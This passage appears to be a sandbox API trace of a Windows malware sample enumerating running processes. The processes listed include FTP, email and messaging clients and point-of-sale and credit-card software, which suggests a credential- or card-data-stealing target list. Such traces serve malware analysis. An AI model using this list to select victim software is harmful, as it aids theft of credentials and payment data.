rather.exe")) returned 1 [0296.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0296.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0296.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0296.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0296.235] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0296.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0296.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0296.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0296.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0296.246] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0296.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0296.251] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0296.253] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0296.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0296.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0296.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0296.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0296.266] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0296.268] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0296.318] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0296.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0296.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0296.345] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0296.347] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0296.350] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0296.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0296.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0296.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0296.361] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0296.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0296.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0296.518] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0296.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0296.534] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0296.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0296.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0296.628] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0296.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0296.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0296.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0296.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0296.737] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0296.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0296.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0296.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0296.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0296.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0296.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0296.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0296.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0296.759] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0296.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0296.764] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0296.766] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0296.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0296.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0296.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0296.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0296.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0296.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0296.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0296.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0296.865] CloseHandle (hObject=0x344) returned 1 [0296.865] Sleep (dwMilliseconds=0x64) [0296.921] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0296.937] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.954] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0296.956] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0296.958] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.960] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0296.962] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0296.964] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0296.966] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0296.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0296.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0297.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.048] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.050] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.060] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.065] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0297.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0297.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0297.073] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 